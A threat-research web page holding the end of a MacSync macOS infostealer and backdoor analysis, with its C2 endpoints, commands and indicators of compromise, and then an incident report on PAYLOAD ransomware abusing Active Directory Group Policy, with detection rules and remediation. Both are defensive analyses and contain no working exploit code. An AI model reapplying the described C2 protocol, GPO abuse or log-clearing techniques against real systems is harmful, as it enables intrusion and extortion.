Brave Safe Storage|Brave|BraveStorage|apple-tool:,apple:,teamid:KL8N8XSYF4

Code section responsible for changing access to keychain services

Code section responsible for changing access to keychain services

Backdoor

The backdoor is a Fat Mach-O executable written in Objective-C. It has two launch modes: a regular one and one with the --persist-status flag. In the second mode, it only checks how it was added to the persistence objects: as a Login Item or as a LaunchAgent. In standard mode, before proceeding to its main functionality, the backdoor also checks whether it has been added to autorun in any way. If not, it uses the same persistence mechanism as the parent script. However, for macOS versions older than 13.0, a separate helper executable stored inside the backdoor’s body is used regardless of whether autorun objects are present. The helper performs a single task: it uses the CoreServices.framework API to add the executable file passed to it as an argument to the Login Items.

As with the droppers from the early stages of the infection chain, the configuration for communicating with the C2 is stored in the executable’s overlay and encrypted with XOR using the same key. It consists of several strings separated by null bytes:

  • AGNT1: a magic constant confirming that the configuration was decrypted correctly
  • C2 server URL
  • Access token: the same one used in the parent script
  • BLD-150: the backdoor build number

The malware also writes logs to $HOME/Library/Logs/.sysnotif-agent.log and supports extended logging when launched with the LAUNCHER_DEBUG environment variable. Communication with the C2 takes place over HTTP. The server’s response should be a JSON file.

Method URL path Request parameters Description
GET /v1/agent/ping
  • tag: the victim’s unique ID combined with the backdoor build number
  • build: backdoor build number
Used to receive a command. The response is expected to contain a cmd field with the command to execute. If a 403 error is received, meaning the access token has expired, the backdoor tries to refresh it with a request to /v1/agent/refresh.
POST /v1/agent/refresh
  • tag
  • build
  • old_token: previous token
The response is expected to contain an upload_token field, whose value becomes the new token.
POST /v1/asset/<upload_id>/init
  • upload_id: an identifier for the object being uploaded, generated randomly based on a timestamp, the process ID, and a random four-byte number
Used to create a file on the server, into which the file from the victim’s device is later uploaded in parts. When the file is created, its size is passed in the X-File-Size header, and its SHA-256 hash is passed in X-File-Sha256.
PUT /v1/asset/<upload_id> The request that actually uploads the file to the server.
POST /v1/agent/<command_status>
  • command_status: a status unique to the commands the agent executes
  • tag
  • upload_id: the ID of the file uploaded to the server (if any)
  • phase: information about the command being executed or its stage
  • message: a message
  • active: command in-progress flag (true = still running; false = finished)
This URL endpoint is accessed at various stages of the backdoor’s operation. Information about command execution status serves as a telemetry source for the attackers.

Although the backdoor offers several different commands, they all boil down to the same action: extract the base64-encoded AppleScript script from the script_b64 field in the server’s response and execute it. Individual command handlers then act as wrappers around the scripts, correctly populating telemetry and sending requests to the C2 server. Based on the command names and the messages sent to the server during their execution, we can reconstruct their purpose without having the scripts on hand. The backdoor supports the following commands:

  • deploy_ext: deploy an extension downloaded from the server into the victim’s browser.
  • deploy_ledger: replace the installed Ledger wallet with the version from the server.
  • regrab: collect system information and/or specific files again. This time, the collected data is packaged into an archive typical for the MacSync family, at /tmp/osalogging.zip, unless a different path is specified in the archive_path field sent along with the command.
  • live_browser: the only command executed without an AppleScript script. The backdoor checks for the presence of the sn_relay file among its resources, and if it’s not found, downloads and executes it. Its content and purpose remain a mystery to us, but based on the command name and the messages sent to the server, we can assume that the attackers somehow implement a MitM attack on traffic originating from the victim’s browser.
The section of the regrab command where the archive's integrity is verified and its hash is calculated before it is sent

The section of the regrab command where the archive’s integrity is verified and its hash is calculated before it is sent

Takeaways

The new version of the MacSync infostealer differs quite significantly from its previously observed variants. The attackers have substantially overhauled their approach to executing the stealer’s and backdoor’s main malicious payload, moving from AppleScripts to full-fledged executable files written in Swift and Objective-C. It’s also worth noting the more complex infection chain: instead of obfuscated shell scripts delivered through ClickFix attacks, this version used binary droppers and loaders, some of which leveraged Apple’s infrastructure as one of the intermediate stages for delivering the malicious payload.

The nature of the data attackers seek to collect from a victim’s device, as well as the categories of applications the stealer disguises itself as, clearly indicates that this malware family primarily targets developers, crypto enthusiasts, and other users associated in some way with IT and the crypto space. MacSync’s compromise of software developers’ devices poses particular security risks for both end users and corporate systems, opening up expanded opportunities for attackers to further their intrusion.

Indicators of compromise

Stage one loader
26a0f7cdb9f7dc5ace9a40af825b1538
2d69812584269699fade26622e6490c5
7df1049cbd56c0bfa4a3364a379b4c2c
9f15fe9c4415cd668334339f705b94d8
fb90887592655a8c989e443c640167aa
6791dad263cac6d63ebba6a4b57e7d71

Malicious calendar (stage two)
3ded1d71a822b53b12c3b67bcaf633f5

Stage three dropper
781ce50001d4b449600afa347c9b0208
8e84b01d5ac9624f0b181ade0e737193
980e2134679bc0c609f7659882883d77
4203ec932bfcc0907f91732440d6d997
eb760d5c88f13f7ee0f8f86ba3407123
f9f70096aabb4d22a6657014f4853a53

Stage four dropper
3deeed48fd38f22e369f5c3092bd68a1

Stage five script
f97d24212fa6a21be0c4d211e10f044c

Stage six script
00d12d842596bf5ee1805effb4571d30
9a0043d900a9ac78c886c59c9a328fd0

Auxiliary .repair-run script
7212229c85852c3bffaf9740002b2f39

Infostealer
c53d0ea45dbc622afb7f16ea3eec78bc

Backdoor
fc3ba5ed282d77127efd0b0f2403531b

Auxiliary autorun tool
8dc8561349d144d4661bc66f2ec49f9f

URL
hxxps://toria[.]app/
hxxps://warpcast[.]asia/Toria.dmg
hxxps://streamyard.appstore.com[.]mx/installer.sh
hxxps://slack.apple03cloudstore[.]com/installer.sh
hxxps://toria.apple03cloudstore[.]com/
hxxps://waaako.appstore.com[.]mx/installer.sh
hxxps://toria.apple03cloudstore[.]com/e3c1a6b00bc31e14/stage2.enc hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/stage2.enc
hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/CoreUpdate.pkg.enc
hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/Helper.pkg.enc
hxxps://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08
hxxps://gateway.icloud[.]com/caldav/1_MTk1NDMwMDMzNTUxOTU0M0pybtJB186GzhogprwCQUjY3oZNiDFHH8WVo6bmgUtI/attach/4GE4TKNBTGAYDGMZVGUYTSNJUGOAALDAFMDOJBGWNUCYJLZRNDCLCO2YMQ3I64RLGMNXVG3KYBPWQOGYIEI7MPBDDYHECFDYVENTXIYFNDCPOVRMCTYI236RCYZAE63V5U3RTUYGUMO2CO7PKCLWMCXE73M7OPTHSGRWH5DXQ4PCUQU4ELZTLW54JSTK2H7VQ6PD26WOA2R7PPIQ6RTJWDEWP34U3HB4YWMXXC6EJ6PKWILSPYRSDEVY6QGMWSIUN6PR5W35KO3D4QZE7CFPUVBAEKI/Loader.app.tar.gz/YXR0YWNoYXR0YWNoYXR0YRhrE8mQ0E-b_dTUSGStQgTQ0ULFxCanei3Ke-EuEyQL

C2
hxxps://docsend.appstore[.]com[.]mx
hxxps://toria.apple03cloudstore[.]com

  •  

Group Policy hijacked: PAYLOAD ransomware weaponizes Active Directory GPO

Executive summary

In April 2026, we at Kaspersky’s Global Emergency Response Team (GERT) responded to a security incident at a manufacturing organization in the Middle East. The threat actor obtained domain admin-equivalent control of the organization’s Active Directory environment and authored a malicious Group Policy Object (GPO) named PAYLOAD, linking it at the domain root. Through that single object, the actor delivered ransom notes, hijacked the desktop wallpaper and lock screen, enforced a logon banner, and disabled the local administrator account across every domain-joined Windows workstation — all without dropping a ransomware binary or encrypting any data. The only ransomware we found in this incident was PAYLOAD sample targeting ESXi on Linux servers. Besides that, data exfiltration was observed originating from the file servers and several additional systems, and was later published on the dark web.

This case is an example of two converging trends that define the 2026 ransomware landscape:

  1. Living-off-the-land abuse of trusted AD infrastructure. Group Policy is a signed, allowlisted, SYSTEM-privileged distribution channel that the majority of endpoint detection and response tools is designed not to inspect. By delivering impact through GPO rather than through malware, the actor sidestepped the entire file- and process-based detection stack.
  2. Encryptionless extortion. Industry telemetry shows extortion-only incidents grow significantly year-on-year. PAYLOAD fits this model; the leverage is operational disruption and the threat of escalation rather than cryptographic denial of data.

We confirmed that no files were encrypted on Windows machines, no malicious binaries were resident on disk, no endpoint persistence was established, and no malicious processes were running at the time of analysis. The entire attack lived inside Active Directory itself. The defensive implication is stark: an organization whose detection strategy depends on catching a ransomware executable would have seen nothing until the first endpoint rebooted and the ransom wallpaper appeared.

In this article, we will describe the GPO attack chain and provide operational advice on how to detect such threats, including detailed remediation recommendations.

Group Policy as an attack surface

Attacks through group policies are nothing new. They can inflict significant, domain-wide damage with multiple malicious capabilities. A Group Policy Object (GPO) is essentially a combination of a Group Policy Container (GPC) in Active Directory and a Group Policy Template (GPT) in SYSVOL. The Group Policy scope depends on whether the GPC is linked to the directory tree at the domain, site, or organization unit (OU) level. A link at the domain root means the policy applies to every computer and user object beneath it. Thus, a GPO compromised at the domain root can affect all in-scope domain users and computers, potentially granting an attacker complete control over the corporate network. What makes GPO abuse even more dangerous is that group policies are processed in a trusted, high-privilege environment, ensuring persistence because endpoint cleanup is not enough to remove them.

We have already discussed GPO architecture and ways it can be compromised in greater detail in an earlier blog post. Other public threat intelligence has also repeatedly documented this technique in ransomware operations. Microsoft observed Ryuk operators distributing ransomware through Group Policy, SYSVOL startup items, and PsExec. LockBit affiliates have been documented modifying SYSVOL Group Policy files, including ScheduledTasks.xml, to support ransomware execution and propagation. BlackCat/ALPHV operators have also abused GPOs to create scheduled tasks and deploy ransomware.

Another notable example of GPO abuse is PAYLOAD ransomware, which weaponizes GPO Preferences and policy settings for pure impact rather than as a launcher for an encryptor. Let’s take a closer look at this attack, which is detailed further below.

Attack timeline

During the April 2026 investigation, we managed to reconstruct the attack timeline as outlined below:

Date Event
11 April Initial access. Threat actor authenticates to the FortiGate SSL VPN using a valid but compromised domain credential.
13 April GPO authored. Malicious GPO, PAYLOAD ({C897F2C7-C2AC-4E6F-BF48-58036FF29E79}) created and linked at the domain root, configuring ransom notes, wallpaper, lock screen, logon banner, and administrator account disablement.
13 April SYSVOL staging. The payload.jpg and hello.txt files written to \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\.
13 April Second GPO. GPO named win Firewall Off ({22099AD2-E062-4F56-B574-5099BBA4E7A6}) linked at the domain root, disabling Windows Firewall on all profiles.
13 April Dormancy. GPO cached on endpoints but computer configuration not yet applied — no endpoint had rebooted since the policy update.
13 April Data exfiltration. Data exfiltration was observed originating from the file servers and several additional systems.
14 April Detonation. Most of the endpoints begin rebooting; computer configuration policies apply. Ransom wallpaper, logon banner, and notes appear. Operational disruption begins.
15 April Response. Kaspersky GERT engaged. Forensic triage of affected workstations and the domain controller initiated.
16 April Assessment. GERT confirms no file encryption, no resident malware, no endpoint persistence.

Next, we will discuss each of these stages in more detail and share the findings from our incident response activities.

Incident overview

Initial access

The entry vector was a compromised valid account (MITRE ATT&CK T1078) used to authenticate through the organization’s FortiGate SSL VPN — an external remote service (T1133). Insufficient logging on the FortiGate appliance prevented us from reconstructing how the credential was originally compromised.

Three hypotheses were considered plausible in the context of the attack, in no particular order:

  • Password spraying or credential stuffing against the SSL VPN portal.
  • Phishing-led credential harvesting.
  • Purchase of pre-compromised credentials from an initial access broker (IAB).

Once on the internal network, the actor operated with the compromised security principal’s privileges. Because the account was able to create and link a GPO at the domain root, it held either domain admin privileges or a delegated equivalent (e.g., membership of Group Policy Creator Owners combined with link rights on the domain object).

FortiGate SSL VPN authentication logs and ESXi/virtualization privilege escalation logs were insufficient to reconstruct the lateral movement and privilege escalation chain between initial VPN access and the GPO write privilege level. The most common real-world routes to GPO control — DCSync, Kerberoasting of privileged service accounts, and Pass-the-Hash/Pass-the-Ticket — could not be confirmed or ruled out.

Execution

Rather than deploying an encryptor, the actor abused the victim’s Active Directory policy infrastructure, resulting in malicious GPOs being configured and linked at the domain root to deliver the observed impact across domain-joined systems. The two GPOs below constitute the entire offensive toolkit observed.

The PAYLOAD GPO

We performed a Resultant Set of Policy (RSOP) analysis, which helped us list all policy settings on the affected workstations. From these results, we reconstructed the following changes delivered by PAYLOAD:

GPO extension/CSE Setting/path Configured value/resulting action
Files (Group Policy Preference) Source SYSVOL\hello.txt → Desktop, C:\, D:\ Dropped as README-payload.txt (ReadOnly)
Registry (Computer) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption Welcome to Payload!
Registry (Computer) HKLM\…\Policies\System\legalnoticetext (ransom demand text)
Personalization Policy Lock Screen Image \\DC.THECOMPANY.local\sysvol…\payload.jpg
Desktop Policy (User) Wallpaper path \\DC.THECOMPANY.local\sysvol…\payload.jpg
Security Settings (GptTmpl.inf) Accounts: Administrator account status Disabled

The PAYLOAD GPO enabled the following actions:

  1. Drop SYSVOL\hello.txt to the desktop and root directories C:\ and D:\ as a read-only README-payload.txt by tampering with the “Group Policy Files” client-side extension (CSE).
  2. Modify the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ registry key, changing the legalnoticecaption value to "Welcome to Payload!" and the legalnoticetext to the ransom note text through the “Group Policy Registry” CSE.
  3. Set payload.jpg located in the targeted domain controller’s SYSVOL as the lock screen image by altering the personalization policy, and as the wallpaper by altering the desktop policy at the user level.
  4. Revoke administrator rights for the administrator account (locking the account) by editing the Security Settings CSE in the GptTmpl.inf file.

Settings changed by PAYLOAD GPO
Settings changed by PAYLOAD GPO
Settings changed by PAYLOAD GPO
Settings changed by PAYLOAD GPO

Settings changed by PAYLOAD GPO

This activity was enabled entirely through a legitimate group policy mechanism, meaning there is no malware code for security solutions to look for because the malicious logic is contained within the policy configuration.

The win Firewall Off GPO

A second domain-root-linked GPO, named “win Firewall Off”, disabled Windows Firewall across the domain, private and public profiles on all endpoints (T1562.004). Deployed independently of PAYLOAD, this object degraded host defenses and ensured the actor retained unimpeded network reach to endpoints for any follow-on activity.

Settings changed by win Firewall Off GPO

Settings changed by win Firewall Off GPO

The one-day delay detonation

The most forensically instructive detail is the one-day gap between GPO creation (13 April) and visible impact (14 April). Analysis of Master File Table (MFT) timestamps and the Group Policy History registry key confirmed the policy was written to SYSVOL and cached on endpoints on 13 April. However, computer configuration settings (wallpaper and lock screen machine policy, security settings, firewall disabling) only apply upon reboot or policy refresh — and no endpoint had rebooted in the interim. The attack therefore remained dormant in the GPO cache for one day before detonating en masse when machines were restarted in accordance with standard procedures.

We have to point out here that this delayed policy application is characteristic of GPO-based operations and has two potential consequences for defenders. Firstly, it may grant the actor a quiet window for exfiltration, persistence, or further staging between weaponization and impact. Secondly, it can be used to sever the temporal link between the cause (a GPO-creation event in the directory log) and the effect (mass user-visible disruption occurring at a later time), complicating timeline reconstruction unless directory service auditing is in place.

Forensic findings

Initial incident response engagement revealed a number of findings associated with the attack that we share below.

  1. No file encryption
    A full review of the MFT on affected workstations found no files bearing a .payload extension characteristic to PAYLOAD ransomware and no evidence of bulk renaming or encryption I/O patterns. The attackers’ objectives were operational disruption and extortion via visual impact and access denial.
  2. No endpoint persistence
    All standard persistence locations were clean:
    • Scheduled tasks — no malicious tasks
    • Run/RunOnce keys — clean
    • Startup folders (user and system) — clean
    • Services — no malicious service installed
    • WMI event subscriptions — none
    • Boot sector/MBR — unmodified

    The attack’s persistence mechanism is the GPO link itself on the domain controller, with no endpoint-resident component.

  3. No active malicious processes
    Live process and memory analysis revealed no injected threads, process hollowing or anomalous outbound connections.
  4. Registry timeline analysis
    Group Policy History, Shadow and State registry keys on the workstation recorded the application of PAYLOAD on 13 April:
    HKLM\…\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\1
    HKLM\…\Group Policy\Shadow\{827D319E-6EAC-11D2-A4EA-00C04F79F83A}\0
    HKLM\…\Group Policy\State\Machine\GPO-List\7
    HKCU\…\Group Policy\History\{7150F9BF-48AD-4da4-A49C-29EF4A8369BA}\1
    HKCU\…\Group Policy\State\S-1-5-21-…\Loopback-GPO-List\5
    The presence of the “Loopback-GPO-List” entry indicates the GPO was processed in loopback mode, ensuring the user configuration (wallpaper) applied regardless of which user logged on to the machine.
  5. SYSVOL artifacts
    Two files were staged on the domain controller’s SYSVOL share and served to endpoints through the Files Group Policy Preference CSE:
    • payload.jpg — the ransom image used for both wallpaper and lock screen.
    • hello.txt — the ransom note, distributed to desktops and drive roots as README-payload.txt.

Detection engineering

Because no malicious binary or process exists, the detection logic should focus on the directory service and SYSVOL indicators. Below are the highest-value telemetry sources for identifying the described malicious activity.

  • Directory service change auditing (DS Access)
    Enable Advanced Audit Policy → DS Access → Audit Directory Service Changes on all domain controllers and set up alerts for the following events:
    Event ID Meaning Hunt focus
    5137 A directory service object was created The account that created new groupPolicyContainer objects must be an authorized GPO administrator
    5136 A directory service object was modified Changes to gPLink on the domain root or sensitive organizational units; changes to gPCMachineExtensionNames/gPCUserExtensionNames/gPCFileSysPath/versionNumber for all GPOs
    5141 A directory service object was deleted GPO deletions (relevant for tamper detection and remediation assessment)

    A gPLink modification at the domain root by a non-standard account is one of the most telling indicators of this attack class.

  • SYSVOL file integrity monitoring
    Monitor \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\Policies\ for unexpected files, particularly image files, text files, scripts, ScheduledTasks.xml, and modified registry.pol/GptTmpl.inf files that were created by sources other than legitimate replication.
  • Endpoint policy application telemetry
    On endpoints, GPO application is logged in the Group Policy Operational log (Microsoft-Windows-GroupPolicy/Operational) and reflected in the History and Shadow registry keys shown above. A sudden domain-wide change to the applied policy set is a strong post-detonation signal.
  • Missing 5136 events
    If the contents of a GPO’s SYSVOL change without a corresponding 5136 event, this can indicate direct SYSVOL/template editing (e.g., via open-source tools such as PowerView or SharpGPOAbuse) that bypasses the normal Group Policy Management Console (GPMC) modification path. While we recommend treating the absence of expected audit events as suspicious, it should be noted that this can be caused by misconfigured auditing.

Anti-forensics and recovery-inhibition capabilities

Confirmed PAYLOAD family capabilities

The Windows endpoint attack described in this report was implemented through malicious Group Policy Objects and did not involve a recovered ransomware executable, resident endpoint malware, confirmed file encryption or active malicious processes at the time of the forensic examination. However, PAYLOAD cryptomalware for Windows does exist, and other sources, including public analysis of its samples, reveal further malicious capabilities of this ransomware that could be used by security teams to enrich detection logic and security policies.

The behaviors documented in this section must therefore be interpreted as family-level capabilities identified through the public reverse engineering of PAYLOAD ransomware samples. They were not confirmed as having executed during the GPO-based incident unless corresponding evidence was identified in the host, memory, process, event-log, or hypervisor.

Windows Event Log clearing

Public reverse engineering of the PAYLOAD Windows variant reveals an optional event log clearing capability (T1685.005, formerly T1070.001). The ransomware dynamically resolves Windows Event Log APIs, enumerates available event log channels, and clears individual channels.

Implementation artifacts include:

  • Runtime loading of wevtapi.dll
  • EvtOpenChannelEnum
  • EvtNextChannelPath
  • EvtClearLog
  • Enumeration of Security, System, Application, and PowerShell logs, and operational channels
  • A command-line option controlling whether log clearing is performed

Clearing event logs reduces the availability of records related to process execution, authentication, PowerShell, service control, and system changes. However, it does not necessarily remove events that were already forwarded to a SIEM, Windows Event Collector, EDR backend, or protected log archive.

Forensic indicators
  • Windows Security Event ID 1102
  • Event logging shutdown or failure events
  • Sudden reductions in event record identifiers
  • Multiple event channels restarting from low record numbers
  • Gaps between endpoint and centrally forwarded telemetry
  • Execution of utilities or APIs associated with log management
  • Direct access to EVTX files (Windows Event Log files) under the Windows event log directory

We should note that these indicators can’t be interpreted on their own. For instance, Event ID 1102 should be correlated with a number of aggravating factors, such as:

  • Event ID 4688 or Sysmon Event ID 1 for process creation
  • Event ID 4624 for the associated administrative logon
  • EDR process trees
  • PowerShell operational logging
  • Windows Event Forwarding records
  • Privileged access management activity

At the same time, the absence of Event ID 1102 does not prove that log clearing did not occur. Direct deletion, truncation, service impairment, or an incomplete audit configuration may produce different evidence.

Security process and service termination

PAYLOAD analysis reveals that the Windows ransomware variant contains logic that targets security processes and services (T1685 and T1489). This capability is intended to stop security products, backup software, database services, and applications that may lock files targeted for encryption.
Process and service termination serves several objectives:

  1. Reduce endpoint detection and response visibility.
  2. Release file handles so data can be modified.
  3. Interrupt backup and recovery services.
  4. Prevent databases and enterprise applications from protecting active data.
  5. Reduce interference with encryption operations.
Forensic indicators
  • Security agent services changing from running to stopped
  • Event ID 7036 service state changes
  • Event ID 7040 service start type changes
  • Event ID 4688 or Sysmon Event ID 1 for service control utilities
  • Sysmon Event ID 5 for terminated processes
  • EDR health degradation affecting many endpoints
  • Repeated termination attempts against security or backup processes
  • Execution of dedicated process killing utilities

VSS deletion, backup and recovery suppression

Public PAYLOAD sample analysis reports the deletion of Windows Volume Shadow Copies before encryption (T1490). This behavior removes local restore points and reduces the victim’s ability to recover files without external backups.

Recovery inhibition is broader than VSS deletion and may include multiple other malicious techniques, including the following:

  • Deleting shadow copies, backup catalogs, and hypervisor snapshots
  • Disabling recovery services
  • Modifying boot recovery settings
  • Compromising backup management platforms
  • Deleting or encrypting backup repositories

In the PAYLOAD Windows sample that is proven to perform encryption, VSS deletion is confirmed to have taken place before encryption. A broader compromise of the backup platform was not established in the investigated incident.

Forensic indicators
  • Execution of shadow copy management utilities
  • Backup catalog deletion attempts
  • Recovery configuration changes
  • Backup service termination
  • Mass snapshot deletions
  • Backup administrator logons outside normal maintenance windows
  • Backup retention or immutability changes
  • Backup jobs failing immediately before disruptive activity

Ecosystem-relevant ransomware techniques

Above, we discussed the techniques specific to PAYLOAD ransomware. In this section, we’ll review other common ransomware techniques, such as BYOVD abuse and ESXi policy weakening, that remain relevant risks in the ransomware ecosystem. However, these techniques should not be attributed to this incident without supporting driver load, process, memory, ESXi, vCenter, or backup platform telemetry. We describe these techniques below as they may prove useful in other ransomware-related forensic investigations.

The examples used in this section are therefore ecosystem-relevant: they are commonly observed in ransomware operations but not conclusively attributed to the analyzed PAYLOAD samples.

ETW suppression and in-memory patching

Event Tracing for Windows (ETW) is a kernel-supported tracing architecture used by Windows components, diagnostic utilities, security products, and endpoint monitoring systems.

Although we didn’t encounter this technique in our case, some ransomware families can patch ETW-related functions inside the ransomware process (T1685, formerly T1562.001). The reported routine changes the memory protection of code pages, overwrites the beginning of selected ETW functions so they return without producing events, restores the original protection, and refreshes the instruction cache.

Reported target functions include EtwEventWrite, EtwEventWriteFull, EtwEventWriteTransfer, and EtwRegister.

This modification applies to the process-local mapping of ntdll.dll. It does not disable ETW globally across Windows, but it can reduce the telemetry generated by the modified process.

Forensic indicators
  • Writable or recently modified executable pages within ntdll.dll
  • Memory protection changes affecting ETW function addresses
  • In-memory code differing from the corresponding clean DLL on disk
  • EDR memory tampering alerts
  • Unexpected calls to memory protection APIs followed by telemetry silence
  • Process execution visible in network or filesystem telemetry but absent from expected ETW-derived sources
  • Inconsistent telemetry between EDR, Sysmon, Windows Event Logs, and network monitoring

It should be noted that telemetry gaps are not conclusive evidence of ETW patching. Other factors include agent upgrades, network outages, endpoint shutdowns, SIEM ingestion failures, collector backpressure, and filtering or licensing changes.

Memory acquisition is the strongest validation source when process-local ETW patching is suspected.

Vulnerable signed driver abuse, BYOVD

Bring Your Own Vulnerable Driver (BYOVD) involves introducing or abusing a legitimately signed but vulnerable kernel driver (T1068 and T1685). The attacker exploits the driver’s exposed functionality to gain kernel-level capabilities, modify protected memory, terminate security processes, remove security callbacks, or bypass operating system security controls.

BYOVD is highly relevant to contemporary ransomware operations. However, the reviewed public PAYLOAD analyses do not provide sufficient evidence to conclude that BYOVD is an intrinsic PAYLOAD capability.

It should therefore be presented as an ecosystem-relevant technique rather than a confirmed PAYLOAD feature.

Forensic indicators
  • Unexpected .sys files written to user-writable or temporary directories
  • New kernel driver services
  • Sysmon Event ID 6
  • Driver hashes matching Microsoft or community vulnerable driver blocklists
  • Invalid, revoked, expired, or unusual driver signatures
  • Driver load followed by EDR termination
  • New privileged processes immediately following driver loading
  • Code Integrity or Defender alerts
  • Service creation events referencing driver files

ESXi security policy weakening

Ransomware operators are increasingly targeting ESXi and vCenter because compromising the virtualization layer provides access to many business-critical virtual machines.

Public research typically describes operators performing the following activities (T1685, T1490 and T1489):

  • Enabling SSH on ESXi hosts
  • Changing root passwords
  • Disabling execInstalledOnly
  • Modifying lockdown mode exceptions
  • Stopping virtual machines
  • Deleting snapshots and backups
  • Changing host firewall policies
  • Copying custom ransomware binaries to hypervisors

On the target organization’s Linux servers we saw an ESXi PAYLOAD variant, which makes this behavior operationally relevant. Nevertheless, the reviewed evidence does not indicate that PAYLOAD operators used any of these policy-weakening actions in the investigated incident.

Forensic indicators
  • Unexpected ESXi SSH enablement
  • Changes to execInstalledOnly
  • Secure Boot enforcement changes
  • Lockdown mode configuration changes
  • Root password changes
  • New or unusual administrator accounts
  • Bulk VM shutdown activity
  • Bulk snapshot deletion
  • New binaries in datastore or temporary paths
  • vCenter tasks originating from unexpected accounts or systems
  • Missing or disabled remote syslog forwarding

Remediation

To contain the described threat and limit possible damage, several remediation steps should be taken. Below, we recommend a four-phase remediation approach for containing this threat and restoring the affected environment.

Phase 1 — domain controller actions (to be performed first)

When dealing with PAYLOAD GPO, the first priority of the remediation plan should be to remove the source GPOs. Until this is done, endpoint cleanup is ineffective because the next policy refresh re-infects cleaned machines.

The immediate domain controller actions to be taken are:

  1. Delete PAYLOAD GPO. Remove {C897F2C7-C2AC-4E6F-BF48-58036FF29E79} via GPMC.
  2. Delete or revert win Firewall Off GPO. Remove {22099AD2-E062-4F56-B574-5099BBA4E7A6}.
  3. Clean SYSVOL. Delete jpg and hello.txt from \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\.
  4. Rotate credentials. Reset the compromised account; audit all privileged accounts and group memberships for unauthorized changes; rotate krbtgt twice if domain admin compromise is confirmed.
  5. Force refresh. Perform gpupdate /force across endpoints after deletion; re-enable local administrator and firewall via clean policy.

Phase 2 — Active Directory and GPO hardening

  • Adopt the AD tiered administration model and confine domain admins to Tier 0 with no interactive logon to workstations and member servers.
  • Separate GPO creation from GPO linking rights, and grant both only to a dedicated, audited administrator role.
  • Enable GPO change auditing (Event IDs 5136, 5137, 5141) and forward to a SIEM.
  • Monitor SYSVOL with file integrity tooling.

Phase 3 — credential and access hardening

  • Enforce phishing-resistant MFA on all VPN and remote access entry points.
  • Deploy Windows LAPS to generate unique, rotated local administrator passwords.
  • Enable Credential Guard to protect LSASS-resident secrets.
  • Adopt Privileged Access Workstations (PAW) for all administration.
  • Implement just-in-time elevation through Privileged Identity Management (PIM) for domain admin.

Phase 4 — detection and monitoring

  • SIEM rule: GPO creation or domain-root gPLink change by a non-standard account.
  • SIEM rule: file creation events under SYSVOL from non-replication sources.
  • Implement enhanced, centrally collected FortiGate SSL VPN logging (auth events, session detail, source IP geolocation, impossible travel check) and detailed perimeter monitoring.
  • Deploy a canary GPO whose application anywhere signals attacker GPO write access.

Conclusion

PAYLOAD demonstrates a maturing tactic of turning the victim’s own trusted infrastructure into a weapon. By weaponizing Group Policy, the actor achieved a domain-wide impact without a single malicious binary on any endpoint, evaded file- and process-based detection entirely, and caused organization-wide disruption within seconds of the first reboot.

The absence of encryption is the most strategically significant finding and is consistent with the 2026 trend toward encryptionless extortion. At Kaspersky GERT, we assess with moderate confidence that the missing encryption reflects one of two scenarios: (1) a deliberate decision to stay below the irreversible data destruction threshold while preserving the option of a follow-on encryption phase, or (2) an operation interrupted before full execution.

The absence of encrypted files must not be mistaken for the absence of a serious compromise — the most critical impact lies in the actor gaining domain admin-level control. This incident proves that a threat actor with domain admin access and a working knowledge of group policy internals can inflict domain-wide disruption equivalent to a ransomware attack without writing a single malicious file to any endpoint.

Detection strategies anchored solely in file- or process-based indicators are blind to this attack class. Effective controls include directory service change auditing, SYSVOL integrity monitoring, and privileged access governance, which allow for GPO protection.

Detection by Kaspersky solutions

Kaspersky security solutions effectively detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below.
To protect organizations that use our Kaspersky SIEM system, we have prepared a package of correlation rules designed to help detect this type of malicious activity. The rules are now available for customers to download from the SIEM repository; the package name is: [OOTB] Group policy hijacked: PAYLOAD ransomware – ENG.

The “Group policy hijacked: PAYLOAD ransomware” package contains rules that detect suspicious file creation or modification in the SYSVOL shared folder on a domain controller, as well as changes to critical attributes and settings of domain group policies. Some rules may require adjustment if they trigger in response to legitimate activity, such as synchronization between domain controllers or the configuration of a new group policy.

To ensure the detection rules function correctly, verify that events from Windows systems are being received in full, including events with the following identifiers: Sysmon: 11, Security — 4663, 5136, 4657.

We also recommend applying the following rules available in the repository to detect all attack stages.

  • Detection of Windows Event Log clearing to cover up traces of an attack: R050_03_Windows Event Log was cleared
  • Detection of suspicious access to the LSASS process, which may indicate attempts to dump credentials: R262_Suspicious access to the LSASS process
  • Detection of the Volume Shadow Copy service being started, which is used to create shadow copies before deleting them: R231_20_Running the Volume Shadow Copy service
  • Detection of shadow copy deletion: R321_Shadow copy deletion
  • Detection of Windows Defender disablement: R076_01_Windows Defender Antivirus was disabled
  • Detection of attempts to disable or modify the system firewall: R240_03_Disabling system firewall via the registry
  • Detection of a service installation from a non-system folder, which may indicate malware persistence techniques: R281_01_Installation of a service from a non-system folder

For the rules in this list to function correctly, it is necessary to configure Security event auditing for event IDs 4663, 5136, 4657, 7036, and 1102.

In addition to the SIEM system, when audit settings are configured correctly, the process of creating, modifying, and deleting GPOs generates a large number of characteristic artifacts on the domain controller, enabling Kaspersky Endpoint Detection and Response Expert to promptly alert the user to anomalies in the infrastructure.

The creation of a new GPO is covered by the gpo_creation rule, which triggers in response to the corresponding event in the infrastructure. Changes to existing policies are detected by the following rules:

GPO deletion is covered by the gpo_deletion rule.

In the next major version update of Kaspersky EDR Expert, a new event type, GPO, will be introduced, allowing users to track changes to Group Policy Objects.

For information security officers, GPO events will serve as an additional source of context when investigating activity in Active Directory and will help detect changes that could affect the configuration, access rights, and security of endpoints before a potentially malicious policy is deployed.

MITRE ATT&CK mapping

Tactic Technique Observed behavior
Initial Access T1078 — Valid Accounts Compromised domain credential used for VPN authentication
Initial Access T1133 — External Remote Services FortiGate SSL VPN used as entry point
Privilege Escalation T1078.002 — Domain Accounts Account held domain-level GPO create/link rights
